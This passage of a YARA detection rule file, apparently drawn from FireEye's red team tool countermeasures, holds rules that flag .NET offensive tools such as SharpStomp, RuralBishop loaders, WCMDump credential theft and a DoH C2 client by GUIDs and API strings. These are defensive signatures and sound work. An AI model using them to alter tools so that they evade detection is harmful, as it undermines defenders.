		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_Wmisharp_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
		author = "FireEye"
		id = "97b9d057-30d3-5af7-bac6-4dd53f47650f"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISHARP/production/yara/HackTool_MSIL_WMISharp_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "d119d52c1410291d582696d5c4c1de3db9008db963c76a9e344959d869c3acc0"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule FIREEYE_RT_Hacktool_MSIL_Sharpstomp_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
		author = "FireEye"
		id = "e113c221-fabe-5af4-b763-463c4f86288d"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/HackTool_MSIL_SharpStomp_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "83ed748cd94576700268d35666bf3e01"
		logic_hash = "fd0a3d046734d48be74d9a74f27570468550d21911c54ca82c81a1d64e9fdd17"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_1.yar#L4-L24"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "83ed748cd94576700268d35666bf3e01"
		logic_hash = "af8aa0e87d8b6623a908fde5014f3849cd0ca20d5926c798be82ce4eab2668bb"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 3
	strings:
		$s0 = "mscoree.dll" fullword nocase
		$s1 = "timestompfile" fullword nocase
		$s2 = "sharpstomp" fullword nocase
		$s3 = "GetLastWriteTime" fullword
		$s4 = "SetLastWriteTime" fullword
		$s5 = "GetCreationTime" fullword
		$s6 = "SetCreationTime" fullword
		$s7 = "GetLastAccessTime" fullword
		$s8 = "SetLastAccessTime" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}


rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "3befb3f2-81d1-5db2-84d9-773158b9837c"
		date = "2020-12-03"
		date = "2020-12-03"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_2.yar#L4-L22"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
		logic_hash = "0467532d643cf0200c6561b0724c884230892bf59db163c311b7d4f8acbb63d6"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "90ee2569-2e68-517b-b2d7-8c4015d92683"
		date = "2020-12-03"
		date = "2020-12-03"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_2.yar#L4-L22"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "c0598321d4ad4cf1219cc4f84bad4094"
		logic_hash = "4cccfca0c06954105f762066741b6c35599a6c28df8b7c255a2659059169578f"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_Loader_MSIL_Ruralbishop_3 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
		author = "FireEye"
		id = "55a060ef-74e2-50d9-9090-558aaa04d97d"
		date = "2020-12-09"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_RuralBishop_3.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "09bdbad8358b04994e2c04bb26a160ef"
		logic_hash = "a4c55dede432c249e36e96ca09555448b0343969d389bfdb4bd459fe34e05ea1"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}


rule FIREEYE_RT_APT_Hacktool_MSIL_DTRIM_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
		author = "FireEye"
		id = "9be695a1-6d18-5952-974c-96a30f035e7a"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DTRIM/production/yara/APT_HackTool_MSIL_DTRIM_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "357c1f76631ec9ee342995cd12369fd9ff18c541bffe6f5464b1e8db45057196"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Loader_MSIL_Inmemorycompilation_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
		author = "FireEye"
		id = "80234352-a449-5292-9f0c-beb7a1d39a6c"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MEMCOMP/production/yara/Loader_MSIL_InMemoryCompilation_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "a964a186eb02a2792db01727a31ddaa2414fe9df83cda9b1c9db15d94603303a"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Loader_MSIL_Sharpy_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
		author = "FireEye"
		id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPY/production/yara/Loader_MSIL_SharPy_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "0f73fab3905b4961b8dbeb120d45a34a2383ecdaae0296f38e34f8b7ab4aeee8"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Builder_MSIL_Sharpgenerator_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
		author = "FireEye"
		id = "ab661cba-f695-59d2-9071-9b9a90233457"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPGENERATOR/production/yara/Builder_MSIL_SharpGenerator_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "6dc0780e54d33df733aadc8a89077232baa63bf1cbe47c5d164c57ce3185dd71"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_LUALOADER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
		author = "FireEye"
		id = "e8480cf8-1852-5572-8e92-c0ae676b7507"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_HackTool_MSIL_LUALOADER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "7e9f9836ec91aa66c8779588cfceff718487f0cb5048d17538c947aba687a4cf"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPGOPHER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
		author = "FireEye"
		id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPGOPHER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "ac37f77440cb76d7dafa4c9b4130471ca6ca760f6d72691db9ebb8cbaaad0c58"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNATIVEZIPPER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
		author = "FireEye"
		id = "c48835a7-06fe-5b30-be4d-086d98dc7a21"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNATIVEZIPPER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "fa54375b21abbb613e695f70a15233575fbe6e0536716544bb3b527f5e3ed8c6"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_DNSOVERHTTPS_C2_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project."
		author = "FireEye"
		id = "ee71be6c-e3c8-5365-9f32-157f00066c49"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_DNSOVERHTTPS_C2_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "a482161bbd8e249977f28466ff1381d4693495f8b8ccd9183ae4fde1ec1471eb"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide
		$typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPWEBCRAWLER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
		author = "FireEye"
		id = "29b2a410-bcc4-58df-b192-7a413b3db1c0"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPWEBCRAWLER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "8df328663a813ca0a6864ae0503cbc1b03cfdf839215b9b4f2bb7962adf09bf8"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPTEMPLATE_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
		author = "FireEye"
		id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPTEMPLATE_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "9746c1ab7b945d311c53fbdf95993d255369e06b23a3279c9f2e8a4df73ab63c"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_MODIFIEDSHARPVIEW_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
		author = "FireEye"
		id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "db0eaad52465d5a2b86fdd6a6aa869a5"
		logic_hash = "a47c48da998243fab92665649fb9d6ecc6ac32e1fd884c2c0d5ccecb05290c10"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDACL_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
		author = "FireEye"
		id = "13f4e3ea-1e36-5fad-9197-66511d6f026a"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDACL_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "5f44ec5ddded18fb3a9132b469b2fe7ccbffb3f907325485f0f72fe3d6bbfa23"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide
	condition:
		filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPPATCHCHECK_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
		author = "FireEye"
		id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPPATCHCHECK_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "dec6231b656eed1526d4f70fe1b9a476bfb06246f0a7c25f2687d8c68886d400"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Credtheft_MSIL_Wcmdump_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
		author = "FireEye"
		id = "22796ccb-a01e-59d8-8c3a-6cbb62899940"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_WCMDump_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "9fbf53e551342695b306b10f30a3fe32dff359bd70e84e1fa1f190772f5dcbe3"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSQLCLIENT_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
		author = "FireEye"
		id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPSQLCLIENT_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "bc79f80582f4fadecf54d926abdcf61694224654ba5075203f0d1123cf11afc1"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNFS_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
		author = "FireEye"
		id = "b9d1b4e8-644a-5611-85e8-a124f915b443"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNFS_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "e7f9883376b153849970599d9ecc308882eb86a67834cfd8ab06b44539346125"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_REDTEAMMATERIALS_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
